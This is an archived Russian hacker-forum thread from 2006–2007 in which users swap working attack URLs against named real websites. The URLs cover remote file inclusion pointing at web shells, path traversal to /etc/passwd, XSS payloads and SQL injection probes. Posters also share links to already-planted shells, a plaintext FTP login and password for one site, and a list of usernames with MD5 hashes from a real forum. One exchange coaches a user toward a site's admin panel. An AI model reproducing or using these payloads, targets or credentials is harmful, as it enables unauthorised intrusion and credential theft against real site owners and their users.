Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Раздача слонов II

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Раздача слонов II
Имя
Сообщение << Старые топики   Новые топики >>
Раздача слонов II - 2006-09-18 01:42:41.030000   
J3y

Сообщений: 9
Оценки: 0
Присоединился: 2006-09-12 00:42:12
чето я не понял куда делась рубрика… ну да ладно… начнем заново)))
для начала (заново))):
http://www.internetiya.2day.kz/index2.php?http://shell?
второе:
самое веселое (не понимаю такие орги(организации) которые предоставляют "корявые" услуги))))
http://www.studio.oz-city.ru/polivew.php?cont=http://shell?
p.s: просьба к модерам: смысл удалять если такие Васьки повсеместно??? Пусть луче учатся ! А то плодит сайты каждый горазд! А отвечать за их работоспособность и противостояние всяким ньюансам (а в данном случае, ну очень детская трабла), НУЖНО НА ДОЛЖНОМ УРОВНЕ!
Post #: 1
RE: Раздача слонов II - 2006-09-18 02:10:41.170000   
J3y

Сообщений: 9
Оценки: 0
Присоединился: 2006-09-12 00:42:12
и еще…
http://www.dlkn.co.kr/form/ass.php - уже залит…
дальше больше))))
и еще,( тож залит:) )
http://www.concretedisciples.com/skate_news/scripts/run.php
плюс+ passwd( возможно погулять по другим папкам-доменам ;) )

——————-
passwd
——————-
/etc/passwd удалён. Не вижу смысле выкладывать его на форум, полезной информации там всё равно нет.
// Модератор
—————————-
есть воросы? пиши)))) mne_pishi2(собака)mail(dot)ru
Post #: 2
RE: Раздача слонов II - 2006-09-25 19:35:40.836666   
Ded MustD!e

Сообщений: 567
Оценки: 0
Присоединился: 2006-07-23 17:19:08
Посмотрел видео про взлом почты.ру и решил поискать XSS на разных сайтах, нашел неск-ко интересных:

http://www.military.com/Resources/HistorySubmittedFileView?file=%3Cscript%3Ealert('XSS')%3C/script%3E
http://foto.rambler.ru/introduce.html?back=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://www.overclock.ru/cpubase/?cpu=23&search_mark=&search_mb=&dc1=2000&dc2=2000&date=10000&items=25&showother=ON&showcoms=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E&action=results
http://www.ea.com/official/godfather/godfather/us/scripts/sound_js.inc?page=%3Cscript%3Ealert('XSS')%3C/script%3E
http://www.centerforsecuritypolicy.org/index.jsp?section=%3Cscript%3Ealert('XSS')%3C/script%3E
http://www.llnl.gov/LCdocs/htar/index.jsp?show=–%3E%3Cscript%3Ealert('XSS')%3C/script%3E

Ну как вам суповой наборчик???[sm=17.gif]
Post #: 3
RE: Раздача слонов II - 2006-10-28 19:11:00.210000   
med

Сообщений: 138
Оценки: 0
Присоединился: 2006-06-12 21:06:38
инжект и xss
http://laptop.hu/index.php?main=main&page=kirakat_details&subpage=kirakat&itemid=805'8
http://www.dap-papei.gr/index.php?option=com_remository&Itemid=26&func=select&id=214&func=select&id=%3Cscript%3Ealert('XSS')%3C/script%3E
Post #: 4
RE: Раздача слонов II - 2006-11-02 17:45:18.926666   
GunMan

Сообщений: 12
Оценки: 0
Присоединился: 2006-10-28 02:32:19.056666
http://mslayouts.ws/index.php?page=[php_inj]
Post #: 5
RE: Раздача слонов II - 2006-11-06 11:17:12.443333   
J3y

Сообщений: 9
Оценки: 0
Присоединился: 2006-09-12 00:42:12
как обойти №;%:?* safe_mode???

http://www.frequenceterre.com/v3/sitemap.php
http://www.frequenceterre.com/moderation/lndex.php

какие есть пути если перловку залить не получается?
Post #: 6
RE: Раздача слонов II - 2006-11-06 13:30:50.646666   
J3y

Сообщений: 9
Оценки: 0
Присоединился: 2006-09-12 00:42:12
Или вот это:

http://www.nestdesign.com/portfolio/c4c/pupils.php?page=[shell].inc - тока почемуто файлы больше 2Кило не инклудит(((
Post #: 7
RE: Раздача слонов II - 2006-11-06 13:34:14.286666   
J3y

Сообщений: 9
Оценки: 0
Присоединился: 2006-09-12 00:42:12
http/www.rhconseilpme.com/index.php?page=[shell].htm - такая же хрень…
Post #: 8
RE: Раздача слонов II - 2006-11-06 13:49:54.896666   
J3y

Сообщений: 9
Оценки: 0
Присоединился: 2006-09-12 00:42:12
http/www.animesplus.visionhoster.com/fansuber/index.php?page=[shell].htm
Post #: 9
RE: Раздача слонов II - 2006-11-06 14:58:22.020000   
J3y

Сообщений: 9
Оценки: 0
Присоединился: 2006-09-12 00:42:12
http/www.gesteditions.com/impression.php?page=http://milw0rm.by.ru/shell/r57.php
Post #: 10
RE: Раздача слонов II - 2006-11-09 01:55:26.100000   
med

Сообщений: 138
Оценки: 0
Присоединился: 2006-06-12 21:06:38
http://search.bbc.co.uk/cgi-bin/search/results.pl?tab=all&q=steven+gerrard&recipe=all&start=–%3E%3Cscript%3Ealert('XSS')%3C/script%3E&scope=all
Post #: 11
RE: Раздача слонов II - 2006-11-10 09:04:46.070000   
hedge

Сообщений: 6
Оценки: 0
Присоединился: 2006-11-10 08:59:47.443333
www.associatescc.com

Вбиваем www.associatescc.com/junk, в движке включен дебаг, пароль к MySQL подходит к FTP ;) Кому лень копаться:
login: assocc
pass: acc32145
Post #: 12
RE: Раздача слонов II - 2006-11-30 05:37:44.966666   
SNHD

Сообщений: 34
Оценки: 0
Присоединился: 2006-11-11 18:14:18.536666
http://www.wisconsintrials.org/phpbb/images/avatars/avatars.php :)
Post #: 13
RE: Раздача слонов II - 2006-12-03 09:19:43.983333   
23_p1k

Сообщений: 6
Оценки: 0
Присоединился: 2006-11-29 21:46:11.516666
http://www.thedmgroup.com/etc/
Post #: 14
RE: Раздача слонов II - 2006-12-06 05:36:09.143333   
furiousangel

Сообщений: 1116
Оценки: 0
Присоединился: 2005-05-28 06:31:47
forums.software-testing.ru

*Case-1:838178ea37c7cb220307cfca6c44d829
Chameleon-2:9c6262044a2754888142b082d5b90cba
Nikelodeon-3:68db1c1e6066f489e2d013b18603c95c
xp_alp-4:c30ef043b5e44dee62f619ff20a63616
Evgeny-5:52002d98927973d5db9947d1a6713caa
Jasra-6:5b9968feaa61a371b1795fa06479aa3b
juliav-7:19f10c53f712b69da5120667d8dba20d
zyxel-8:736b4de34b252c50ce9753bc4e867b6e
AIN-9:e0cdac5d590457161c255f3aa2714ca8
meridian-10:647dddfcbc191dbdfc230fe115fa8efa
Boris.A-11:ded30e6cb46aabb3ecfba9a16b822180
Angel-12:f3dc8310f6e25140183ee119ec393387
*SALar-35:c85edb4d7b41e85e9d1d970e9290583f
Andrei Kulabukhau-13:061ad7e7dc9322fccd9c689b7d97ef13
*barancev-415:98a856465252b8959ea943fe70e86c19
*Dmitry_NJ-306:9fd31912579caa06af16c0793fb955d4
*Yagova-1079:06fac293614d06bec5b7d260b8fb1262
el-step-14:4b4638587f7e0ef80bdb8874b14b79a1
Levix-15:8ee488c235768995445502b1d673cfa7
mag-16:48ea06361d468405e30bf972f1f8de58
sashaf-17:9596352a53a9336a2bf0f072e3ac96f3
Sandtod-18:e7c9822bc316f288a2e701c2381e901f

<ник>-<ид>:<хэш>
* - не часть ника , а указатель на права АДМИНА :)
Post #: 15
RE: Раздача слонов II - 2006-12-06 05:53:07.533333   
furiousangel

Сообщений: 1116
Оценки: 0
Присоединился: 2005-05-28 06:31:47
а вот еще кое-что :)

http://lug68.org/index.php?t=3&f=../../../../../../../../../../../etc/passwd&p=http
Post #: 16
RE: Раздача слонов II - 2006-12-10 05:32:43.016666   
KIsp

Сообщений: 203
Оценки: 0
Присоединился: 2006-09-10 15:22:14
http://bishkekcity.net/index.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://bmtech.ru/?w1=30&amp;w2=conf_hr.html&amp;w3=../../../../../../../../../../etc/passwd
http://www.csc.kth.se/utbildning/kth/kurser/2D1390/intnet06/index.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://www.hcomo.it/Spa/Spagnolo/index.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://www.hlarius.it/Italiano/index.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://www.hotelbanner.it/index.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://www.hotellatorretta.it/Inglese/Interna/index.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://www.hotelpalazzostelline.it/English/index.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://www.hotelrio.it/Inglese/index.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://www.hotelsiredward.com/Italiano/index.php?file=../../../../../../../../../../../../../../../../etc/passwd

Инклуды :)
Post #: 17
RE: Раздача слонов II - 2006-12-16 03:25:04.123333   
IN$1DE

Сообщений: 58
Оценки: 0
Присоединился: 2006-12-03 01:27:00.546666
http://www.eyekidz.com/public/wnd.php?page=../../../etc/passwd
Post #: 18
RE: Раздача слонов II - 2006-12-18 09:27:41.090000   
netfox

Сообщений: 28
Оценки: 0
Присоединился: 2006-11-28 10:14:12.606666
http://132.229.155.188/DBWP/index.php?file=http://shell
маковая машинка
Post #: 19
RE: Раздача слонов II - 2006-12-19 02:08:22.170000   
med

Сообщений: 138
Оценки: 0
Присоединился: 2006-06-12 21:06:38
http://my.horoscope.com/gethoroscope.asp?day=%3Cscript%3Ealert('h0rr0rsc0pe')%3C/script%3E&month=12&year=2006&sign=11

а тута даже квери красиво показываеть :) SQL = "select nodeId from page where pageId = pizdec!"
http://www.ncna.org/index.cfm?fuseaction=Page.viewPage&pageId=pizdec!
Post #: 20
RE: Раздача слонов II - 2006-12-21 03:36:14.556666   
IN$1DE

Сообщений: 58
Оценки: 0
Присоединился: 2006-12-03 01:27:00.546666
http://mosaique.labri.fr/?page=http://
http://okzion.com/index.php?page=../../../../../etc/passwd
Post #: 21
RE: Раздача слонов II - 2006-12-29 22:38:41.270000   
KIsp

Сообщений: 203
Оценки: 0
Присоединился: 2006-09-10 15:22:14
http://www.utahbrides.com/news/index.php?file=/etc/passwd
http://www.syshotelonline.it/index.php?file=/etc/passwd
http://www.spanisch-live.de/freizeitkurs/leccion2/index.php?page=/etc/passwd
http://www.slope.org/archive/issue18/index.php?file=../../../../../../../../../../etc/passwd
http://www.siges.sigesgroup.it/Tessile_Abbigliamento/index.php?file=/etc/passwd
http://shop2.youthwant.com.tw/computer/nb/index.php?page=/etc/passwd
http://www.pudasjarvi.fi/deutsch/index.php?file=/etc/passwd
http://www.psyc.sfu.ca/spotlight/index.php?title=&amp;file=/etc/passwd
http://www.paru.cas.cz/structure/LMP/index.php?file=/etc/passwd
http://lv.lv/index.php?mode=HTML&amp;file=../../../../../../../../../../../../etc/passwd

Post #: 22
RE: Раздача слонов II - 2007-01-06 12:09:24.140000   
~Angel~

Сообщений: 2
Оценки: 0
Присоединился: 2007-01-04 18:07:26.186666
Ребята, обьясните мне, плиз, кто-нибудь! [sm=cu.gif]У меня есть cледующая ссылка:http://blagodarny.by.ru/modules/quest/passwd.dat  
И что мне теперь с этим счастьем делать????[sm=ah.gif]

 
Post #: 23
RE: Раздача слонов II - 2007-01-07 01:06:42.143333   
med

Сообщений: 138
Оценки: 0
Присоединился: 2006-06-12 21:06:38
там в admin.php записано что это такое

if (file_exists("passwd.dat") && $QUERY_STRING != ""):
require ("passwd.dat");
if (!isset($alogin) || md5($pass) != $Password[$alogin] || !isset($Password[$alogin])):
$logined = 0;
$error = "Неверный логин или пароль!<br>";
setcookie("alogin","",0);
setcookie("pass","",0);
else:
{http://www.google.com/search?q=allinurl:+passwd.dat&hl=en&lr=&as_qdr=all&start=10&sa=N}
Post #: 24
RE: Раздача слонов II - 2007-01-07 16:15:09.196666   
~Angel~

Сообщений: 2
Оценки: 0
Присоединился: 2007-01-04 18:07:26.186666
Ok.спасибо. Пароль то я и так рассшифровала. Проблема - я не могу найти\открыть админскую панельку, где все эти данные мне понадобятся….
Post #: 25
RE: Раздача слонов II - 2007-02-03 23:01:23.026666   
ISRAEL

Сообщений: 6
Оценки: 0
Присоединился: 2005-10-03 06:20:04
~Angel~
 

<?php
Error_Reporting(E_ALL & ~E_NOTICE);
error_reporting(0);
if (file_exists("passwd.dat") && $QUERY_STRING != ""):
     require ("passwd.dat");
     if (!isset($alogin) || md5($pass) != $Password[$alogin] || !isset($Password[$alogin])):
          $logined = 0;
          $error = "Неверный логин или пароль!<br>";
          setcookie("alogin","",0);
          setcookie("pass","",0);
     else:
          $logined = 1;
          setcookie("alogin",$alogin);
          setcookie("pass",$pass);
     endif;
endif;
?>
Post #: 26
RE: Раздача слонов II - 2007-02-03 23:11:45.766666   
ISRAEL

Сообщений: 6
Оценки: 0
Присоединился: 2005-10-03 06:20:04
~Angel~
 
Я кстати уже результата добился мозгами думать надо !
 
http://blagodarny.by.ru/
 
:)
Post #: 27
RE: Раздача слонов II - 2007-02-04 13:40:40.560000   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
вот шелл http://games.isurgut.ru/rating.php, юзайте
Post #: 28
RE: Раздача слонов II - 2007-02-04 13:52:13.580000   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
игроманам (журнал Игромания) посвещяется:
кривоватый инклуд - http://www.igromania.ru/articles/index_new.php?4298'
Post #: 29
RE: Раздача слонов II - 2007-02-05 02:02:32.046666   
med

Сообщений: 138
Оценки: 0
Присоединился: 2006-06-12 21:06:38
http://www.etech.ohio.gov/jcore/doclib/DocView.jsp?step=view&file='
http://www.rsgaming.com/index.php?content=files&view=file&id='
http://jobs.boston.com/careers/jobsearch/results?kAndEntire=<script>alert('XSS')</script>
http://webserv1.ulb.ac.be/oratio/notegen?f_context=fiches¬eid=191&language=<script>alert('XSS')</script>&style=&f_type=view&data-file=<script>alert('XSS')</script>
http://fedbbs.access.gpo.gov/library/view/file/?lib=<script>alert('XSS')</script>
www.acacamps.org/media_center/view.php?file=../../../../../../../../../../../../../../../../etc/passwd
http://www.redcrossnca.org/Online/view.php3?file=../../../../../../../../../../../../../../../../etc/passwd
http://cortonabec05.sns.it/view.php?file=../../../../../../../../../../../../../../../../etc/passwd
Post #: 30
RE: Раздача слонов II - 2007-02-05 12:06:39.166666   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
http://naviny.by/city/?city=%3Cscript%3Ealert('XSS')%3C/script%3E
Post #: 31
RE: Раздача слонов II - 2007-02-05 12:13:20.086666   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
http://www.rap.ru/search/ - XSS в поиске, например введите в поиск след. строку - "<script>alert('kolPeeX');</script>"
Post #: 32
RE: Раздача слонов II - 2007-02-05 13:00:08.536666   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
sql-инъекции, enjoy:

http://atn.kharkov.ru/mess.php?id='
http://www.ofis-mebel.ru/index.php?page=11'&id=113436'
http://www.alisastd.ru/mods/images/img_with_info.php?id='
http://edukey.ru/page.php?type=providers&id='
http://www.svrauto.ru/index.phtml?pageId='
http://chelhouse.ru/show_article.php?id='
Post #: 33
RE: Раздача слонов II - 2007-02-06 01:42:18.640000   
receptor32

Сообщений: 10
Оценки: 0
Присоединился: 2007-01-28 00:46:38.916666
http://scripts.pgcc.edu/police/viewfile.php?file=/../../../../../../../../../../../../etc/passwd
Post #: 34
RE: Раздача слонов II - 2007-02-09 03:54:20.063333   
med

Сообщений: 138
Оценки: 0
Присоединился: 2006-06-12 21:06:38
http://www.eusew.eu/page.cfm?page=events&selEvent=29'
http://www.massvacation.com/jsp/page.jsp?cat=<'
http://www.mapquest.com/features/main.adp?page=—————————><!—-><script>alert('XSS')</script>
http://www.accessola.com/site/showPage.cgi?page=—————————><!—-><script>alert('XSS')</script>
http://ferl.becta.org.uk/display.cfm?page=—————————><!—-><script>alert('XSS')</script>
https://www.ibm.com:443/account/profile/us?page=—————————><!—-><script>alert('XSS')</script>
http://www.scu.edu/utility/customcf/email-page.cfm?page=/is/cio.cfm&type=—————————><!—-><script>alert('XSS')</script>
http://www.msnsportsnet.com/page.cfm?sport=—————————><!—-><script>alert('XSS')</script>
http://provost.uoregon.edu/?page=staff&t=—————————><!—-><script>alert('XSS')</script>
рабочее мыло естественно нужно > http://e2.email.excite.com/folder_msglist.php?m=—————————><!—-><script>alert('XSS')</script>
Post #: 35
RE: Раздача слонов II - 2007-02-10 12:36:54.073333   
ISRAEL

Сообщений: 6
Оценки: 0
Присоединился: 2005-10-03 06:20:04
http://www.go-online.gr/my_account.html?PHPSESSID=a0ff3a388e308d15
Post #: 36
RE: Раздача слонов II - 2007-02-14 18:55:04.016666   
FhDmm

Сообщений: 5
Оценки: 0
Присоединился: 2006-10-22 08:13:09.930000
xss i vrodebi include :)
http://www.ecoeco.org.br/outros/index.php?titulo=<script>alert('XSS');</script>&file=../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
Post #: 37
RE: Раздача слонов II - 2007-02-19 00:05:00.770000   
ururur

Сообщений: 16
Оценки: 0
Присоединился: 2007-02-03 18:33:02.090000
http://www.spaceflight.nasa.gov/gallery/search.cgi?keywords=1&alias=1&searchwhat=1&searchwhat=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E%3C%22&searchwhat=1&searchwhat=1&searchwhat=1&searchwhat=1&searchwhat=1&images=1
Post #: 38
RE: Раздача слонов II - 2007-02-19 00:08:52.396666   
ururur

Сообщений: 16
Оценки: 0
Присоединился: 2007-02-03 18:33:02.090000
http://spaceflight1.nasa.gov/admin/viewDb.cgi?../../../../../../../../etc/passwd
Post #: 39
RE: Раздача слонов II - 2007-02-20 19:53:38.553333   
kolPeeX

Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
кто любит армию США:

те, кто ДА, держите : http://per2.nwp.usace.army.mil/cgi-bin/rstat.cgi?district=nws&basefile=%3Cscript%3Ealert('kolpeex')%3C/script%3E

:):):):):):):):):):):):):):):):):):):):):):):):):):):):):):):):):):):)
Post #: 40
Страниц:  [1] 2 3 4 5 6 7
Все форумы >> [В Сети] >> Раздача слонов II







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.